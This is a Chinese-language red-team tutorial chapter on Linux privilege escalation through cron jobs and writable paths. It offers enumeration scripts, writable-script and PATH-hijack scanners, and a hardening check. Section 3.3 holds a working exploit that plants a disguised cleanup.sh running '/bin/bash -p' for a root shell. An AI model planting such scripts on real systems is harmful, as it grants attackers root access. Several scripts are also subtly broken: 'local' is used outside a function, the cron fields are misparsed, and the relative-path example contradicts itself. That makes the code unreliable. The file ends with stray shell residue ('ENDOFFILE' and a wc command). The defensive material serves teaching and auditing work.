定时任务与可写路径提权
章节概述
定时任务(cron)和可写路径是 Linux 系统中常见的提权向量。当 cron 任务以 root 身份运行可写的脚本,或者 cron 任务引用的目录具有宽松权限时,攻击者可以通过篡改脚本内容或利用 PATH 劫持来实现提权。本章系统性地讲解 cron 任务枚举、可写脚本发现、PATH 劫持技术、/etc/cron.d 分析以及自动化检测脚本编写。
核心理念
定时任务提权的本质是利用 root 执行的自动化任务与攻击者可控输入之间的信任链断裂。防御的核心是确保 cron 任务引用的所有文件和路径对非特权用户不可写。
第1节 cron 任务枚举
1.1 系统级 cron 任务
# 查看系统级 cron 任务
cat /etc/crontab
# 查看 /etc/cron.d 目录(系统级 cron 片段)
ls -la /etc/cron.d/
cat /etc/cron.d/*
# 查看 cron 时间表目录
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
# 查看 cron 拒绝列表
cat /etc/cron.deny 2>/dev/null
cat /etc/at.deny 2>/dev/null
# 查看 cron 允许列表(如果存在)
cat /etc/cron.allow 2>/dev/null1.2 用户级 cron 任务
# 查看当前用户的 cron 任务
crontab -l
# 查看其他用户的 cron 任务(需要 root)
crontab -l -u target_user
# 列出所有用户的 cron 任务
for user in $(cut -f1 -d: /etc/passwd); do
crontab -l -u "$user" 2>/dev/null && echo "===== $user ====="
done
# 检查用户 cron 文件
ls -la /var/spool/cron/crontabs/ 2>/dev/null
ls -la /var/spool/cron/ 2>/dev/null
# 检查所有用户的 crontab 文件
find /var/spool/cron/ -type f -exec echo "=== {} ===" \; -exec cat {} \; 2>/dev/null1.3 cron 运行日志
# 查看 cron 执行日志
grep CRON /var/log/syslog 2>/dev/null | tail -20
grep CRON /var/log/cron 2>/dev/null | tail -20
# 查看 cron 错误日志
grep -i cron /var/log/syslog 2>/dev/null | grep -i error | tail -10
# 使用 journalctl 查看
journalctl -u cron --since "1 hour ago" 2>/dev/null第2节 可写脚本发现
2.1 cron 引用的可写脚本
#!/usr/bin/env bash
# find_writable_cron.sh - 发现 cron 引用的可写脚本
set -euo pipefail
echo "[*] 扫描 cron 引用的可写脚本..."
# 提取 cron 任务中的命令路径
find_cron_scripts() {
local script_paths=()
# 系统 crontab
while IFS= read -r line; do
[[ "$line" =~ ^# ]] && continue
[[ -z "$line" ]] && continue
local cmd
cmd=$(echo "$line" | awk '{for(i=6;i<=NF;i++) printf "%s ", $i; print ""}' | xargs)
[[ -n "$cmd" ]] && script_paths+=("$cmd")
done < /etc/crontab 2>/dev/null
# /etc/cron.d 下的任务
for cron_file in /etc/cron.d/*; do
[[ -f "$cron_file" ]] || continue
while IFS= read -r line; do
[[ "$line" =~ ^# ]] && continue
[[ -z "$line" ]] && continue
local cmd
cmd=$(echo "$line" | awk '{for(i=6;i<=NF;i++) printf "%s ", $i; print ""}' | xargs)
[[ -n "$cmd" ]] && script_paths+=("$cmd")
done < "$cron_file"
done
# 用户 crontab
for user_cron in /var/spool/cron/crontabs/* /var/spool/cron/*; do
[[ -f "$user_cron" ]] || continue
while IFS= read -r line; do
[[ "$line" =~ ^# ]] && continue
[[ -z "$line" ]] && continue
local cmd
cmd=$(echo "$line" | awk '{for(i=6;i<=NF;i++) printf "%s ", $i; print ""}' | xargs)
[[ -n "$cmd" ]] && script_paths+=("$cmd")
done < "$user_cron"
done
printf '%s\n' "${script_paths[@]}" | sort -u
}
# 检查每个脚本是否可写
while IFS= read -r script; do
[[ -z "$script" ]] && continue
# 提取脚本路径(第一个参数通常是脚本路径)
local script_file
script_file=$(echo "$script" | awk '{print $1}')
if [[ -f "$script_file" ]] && [[ -w "$script_file" ]]; then
echo "[!] 可写 cron 脚本: $script_file"
echo " 内容: $(head -3 "$script_file")"
fi
# 检查脚本所在目录是否可写
local script_dir
script_dir=$(dirname "$script_file")
if [[ -d "$script_dir" ]] && [[ -w "$script_dir" ]]; then
echo "[!] 可写 cron 脚本目录: $script_dir"
fi
done < <(find_cron_scripts)2.2 直接扫描可写脚本
#!/usr/bin/env bash
# scan_writable_scripts.sh - 扫描系统中的可写脚本
set -euo pipefail
echo "[*] 扫描可写脚本..."
# 扫描常见的脚本目录
SEARCH_DIRS=(
"/usr/local/bin"
"/usr/local/sbin"
"/usr/bin"
"/usr/sbin"
"/opt"
"/etc/cron.d"
"/etc/cron.daily"
"/etc/cron.hourly"
"/etc/cron.weekly"
"/etc/cron.monthly"
"/root"
"/home"
)
for dir in "${SEARCH_DIRS[@]}"; do
[[ -d "$dir" ]] || continue
echo ""
echo "===== 扫描 $dir ====="
while IFS= read -r -d '' file; do
if [[ -w "$file" ]]; then
echo "[!] 可写: $file"
echo " 权限: $(stat -c '%a %U:%G' "$file" 2>/dev/null)"
fi
done < <(find "$dir" -type f \( -name "*.sh" -o -name "*.bash" -o -name "*.py" -o -name "*.pl" -o -name "*.rb" -o -perm -111 \) -print0 2>/dev/null)
done第3节 PATH 劫持
3.1 PATH 劫持原理
# 检查 cron 任务中的 PATH
cat /etc/crontab | grep PATH
# 检查用户 cron 中的 PATH
crontab -l 2>/dev/null | grep PATH
# PATH 劫持条件:
# 1. cron 任务使用相对路径(不是绝对路径)
# 2. cron 任务的 PATH 包含可写目录
# 3. 攻击者可以在可写目录中创建同名文件
# 例如 cron 任务:
# * * * * * backup.sh
# 如果 /usr/local/bin 在 PATH 中且可写,可以创建:
# /usr/local/bin/backup.sh -> 恶意脚本3.2 PATH 劫持自动化检测
#!/usr/bin/env bash
# path_hijack_check.sh - PATH 劫持风险检测
set -euo pipefail
echo "[*] 检查 PATH 劫持风险..."
# 获取 cron 使用的 PATH
CRON_PATH=$(grep -E "^PATH=" /etc/crontab 2>/dev/null | cut -d= -f2)
if [[ -z "$CRON_PATH" ]]; then
CRON_PATH="/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin"
fi
echo "[*] Cron PATH: $CRON_PATH"
# 检查 PATH 中每个目录的权限
IFS=':' read -ra PATH_DIRS <<< "$CRON_PATH"
for dir in "${PATH_DIRS[@]}"; do
if [[ -d "$dir" ]] && [[ -w "$dir" ]]; then
echo "[!] 可写目录在 PATH 中: $dir"
# 检查该目录中的可执行文件
exec_count=$(find "$dir" -maxdepth 1 -type f -executable 2>/dev/null | wc -l)
echo " 包含 $exec_count 个可执行文件"
# 检查是否有 cron 任务使用相对路径
echo " 风险: 可在此目录创建恶意可执行文件劫持 cron 任务"
fi
done
# 检查 cron 任务中是否使用相对路径
echo ""
echo "[*] 检查 cron 任务中的相对路径..."
while IFS= read -r line; do
[[ "$line" =~ ^# ]] && continue
[[ -z "$line" ]] && continue
# 提取命令部分(第6列之后)
cmd=$(echo "$line" | awk '{for(i=6;i<=NF;i++) printf "%s ", $i; print ""}')
cmd_first=$(echo "$cmd" | awk '{print $1}')
# 检查是否为相对路径
if [[ "$cmd_first" != /* ]] && [[ -n "$cmd_first" ]]; then
echo "[!] 相对路径命令: $cmd_first"
echo " 完整命令: $cmd"
echo " 风险: 可通过 PATH 劫持执行恶意代码"
fi
done < /etc/crontab 2>/dev/null3.3 PATH 劫持利用示例
#!/usr/bin/env bash
# path_hijack_exploit.sh - PATH 劫持利用示例
set -euo pipefail
# 场景: cron 任务运行 "cleanup.sh"(相对路径)
# PATH 包含 /usr/local/bin(可写)
echo "[*] PATH 劫持利用示例"
# 1. 确认目标 cron 任务
echo "[*] 目标 cron 任务: * * * * * /usr/local/bin/cleanup.sh"
# 2. 检查 /usr/local/bin 是否可写
if [[ -w "/usr/local/bin" ]]; then
echo "[!] /usr/local/bin 可写"
# 3. 创建恶意脚本
cat > /usr/local/bin/cleanup.sh << 'HIJEOF'
#!/bin/bash
# 伪装成正常清理脚本
find /tmp -type f -mtime +7 -delete 2>/dev/null
# 恶意 payload
/bin/bash -p
HIJEOF
chmod +x /usr/local/bin/cleanup.sh
echo "[+] 恶意脚本已创建"
echo " 等待 cron 执行或手动触发..."
else
echo "[-] /usr/local/bin 不可写"
fi第4节 /etc/cron.d 分析
4.1 cron.d 目录结构
# 查看 /etc/cron.d 目录
ls -la /etc/cron.d/
# 查看每个 cron.d 文件
for f in /etc/cron.d/*; do
echo "===== $f ====="
cat "$f"
echo ""
done
# cron.d 文件格式:
# 分 时 日 月 周 用户 命令
# 0 1 * * * root /usr/local/bin/backup.sh
# */5 * * * * www-data /usr/bin/cleanup4.2 cron.d 安全检查
#!/usr/bin/env bash
# cron_d_security.sh - /etc/cron.d 安全检查
set -euo pipefail
echo "[*] === /etc/cron.d 安全检查 ==="
for cron_file in /etc/cron.d/*; do
[[ -f "$cron_file" ]] || continue
echo ""
echo "===== 检查: $cron_file ====="
# 检查文件权限
perms=$(stat -c '%a %U:%G' "$cron_file" 2>/dev/null)
echo " 权限: $perms"
# 检查是否可被非 root 写入
if [[ -w "$cron_file" ]]; then
echo " [!] 文件可写 - 风险!"
fi
# 检查目录权限
dir_perms=$(stat -c '%a %U:%G' /etc/cron.d/ 2>/dev/null)
echo " 目录权限: $dir_perms"
# 解析 cron 任务
while IFS= read -r line; do
[[ "$line" =~ ^# ]] && continue
[[ -z "$line" ]] && continue
user=$(echo "$line" | awk '{print $5}')
cmd=$(echo "$line" | awk '{for(i=6;i<=NF;i++) printf "%s ", $i; print ""}')
cmd_first=$(echo "$cmd" | awk '{print $1}')
echo " 任务: 用户=$user 命令=$cmd_first"
# 检查命令是否使用绝对路径
if [[ "$cmd_first" != /* ]]; then
echo " [!] 使用相对路径 - PATH 劫持风险"
fi
# 检查脚本是否可写
if [[ -f "$cmd_first" ]] && [[ -w "$cmd_first" ]]; then
echo " [!] 脚本可写 - 直接篡改风险"
fi
# 检查脚本目录是否可写
script_dir=$(dirname "$cmd_first")
if [[ -d "$script_dir" ]] && [[ -w "$script_dir" ]]; then
echo " [!] 脚本目录可写 - 可替换脚本"
fi
done < "$cron_file"
done第5节 定时任务提权自动化
5.1 综合 cron 提权扫描器
#!/usr/bin/env bash
# cron_privesc_scanner.sh - cron 提权自动化扫描器
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
log_info() { echo -e "${CYAN}[*]${NC} $*"; }
log_found() { echo -e "${RED}[!]${NC} $*"; }
log_safe() { echo -e "${GREEN}[+]${NC} $*"; }
log_warn() { echo -e "${YELLOW}[~]${NC} $*"; }
scan_cron_tasks() {
log_info "扫描所有 cron 任务..."
# 系统 crontab
while IFS= read -r line; do
[[ "$line" =~ ^# ]] && continue
[[ -z "$line" ]] && continue
parse_cron_line "$line" "/etc/crontab"
done < /etc/crontab 2>/dev/null
# /etc/cron.d
for f in /etc/cron.d/*; do
[[ -f "$f" ]] || continue
while IFS= read -r line; do
[[ "$line" =~ ^# ]] && continue
[[ -z "$line" ]] && continue
parse_cron_line "$line" "$f"
done < "$f"
done
# 用户 crontab
for user_cron in /var/spool/cron/crontabs/* /var/spool/cron/*; do
[[ -f "$user_cron" ]] || continue
while IFS= read -r line; do
[[ "$line" =~ ^# ]] && continue
[[ -z "$line" ]] && continue
parse_cron_line "$line" "$user_cron"
done < "$user_cron"
done
}
parse_cron_line() {
local line="$1"
local source="$2"
local user
user=$(echo "$line" | awk '{print $5}')
local cmd
cmd=$(echo "$line" | awk '{for(i=6;i<=NF;i++) printf "%s ", $i; print ""}')
local cmd_first
cmd_first=$(echo "$cmd" | awk '{print $1}')
# 检查1: 脚本可写
if [[ -f "$cmd_first" ]] && [[ -w "$cmd_first" ]]; then
log_found "可写 cron 脚本: $cmd_first (来源: $source, 用户: $user)"
echo " 权限: $(stat -c '%a %U:%G' "$cmd_first" 2>/dev/null)"
fi
# 检查2: 相对路径
if [[ "$cmd_first" != /* ]] && [[ -n "$cmd_first" ]]; then
log_found "相对路径 cron 命令: $cmd_first (来源: $source, 用户: $user)"
fi
# 检查3: 脚本目录可写
local script_dir
script_dir=$(dirname "$cmd_first")
if [[ -d "$script_dir" ]] && [[ -w "$script_dir" ]]; then
log_found "可写 cron 脚本目录: $script_dir (来源: $source)"
fi
# 检查4: 输出文件可写
local output_file
output_file=$(echo "$cmd" | grep -oP '>\s*\K\S+' | head -1)
if [[ -n "$output_file" ]] && [[ -w "$output_file" ]]; then
log_warn "cron 任务输出到可写文件: $output_file"
fi
}
scan_path_hijack() {
log_info "检查 PATH 劫持风险..."
local cron_path
cron_path=$(grep -E "^PATH=" /etc/crontab 2>/dev/null | cut -d= -f2)
[[ -z "$cron_path" ]] && return
IFS=':' read -ra PATH_DIRS <<< "$cron_path"
for dir in "${PATH_DIRS[@]}"; do
if [[ -d "$dir" ]] && [[ -w "$dir" ]]; then
log_warn "PATH 中的可写目录: $dir"
fi
done
}
main() {
echo "=========================================="
echo " cron 提权自动化扫描器 v1.0"
echo "=========================================="
scan_cron_tasks
echo ""
scan_path_hijack
echo ""
log_info "扫描完成"
}
main "$@"第6节 防御与加固
6.1 cron 安全加固
#!/usr/bin/env bash
# cron_hardening.sh - cron 安全加固脚本
set -euo pipefail
echo "[*] === cron 安全加固 ==="
# 1. 检查 /etc/cron.d 目录权限
echo ""
echo "[*] 检查 /etc/cron.d 目录权限..."
cron_d_perms=$(stat -c '%a' /etc/cron.d/ 2>/dev/null)
if [[ "$cron_d_perms" != "755" ]] && [[ "$cron_d_perms" != "700" ]]; then
echo "[!] /etc/cron.d 权限不安全: $cron_d_perms"
echo " 建议: chmod 755 /etc/cron.d/"
fi
# 2. 检查 cron 文件权限
echo ""
echo "[*] 检查 cron 文件权限..."
for f in /etc/cron.d/* /etc/crontab; do
[[ -f "$f" ]] || continue
perms=$(stat -c '%a %U' "$f" 2>/dev/null)
owner=$(echo "$perms" | awk '{print $2}')
perm=$(echo "$perms" | awk '{print $1}')
if [[ "$owner" != "root" ]]; then
echo "[!] 文件所有者不是 root: $f ($perms)"
fi
if [[ "$((perm % 10))" -ge 2 ]]; then
echo "[!] 文件可被其他用户写入: $f ($perms)"
fi
done
# 3. 确保 crontab 目录权限正确
echo ""
echo "[*] 检查 crontab 目录权限..."
crontab_dirs=("/var/spool/cron/crontabs" "/var/spool/cron")
for dir in "${crontab_dirs[@]}"; do
if [[ -d "$dir" ]]; then
perms=$(stat -c '%a %U' "$dir" 2>/dev/null)
echo " $dir: $perms"
fi
done
echo ""
echo "[+] cron 安全加固检查完成"ENDOFFILE
wc -l “/home/a/RootStack/red_team/bash/03-提权/04-定时任务与可写路径提权.md”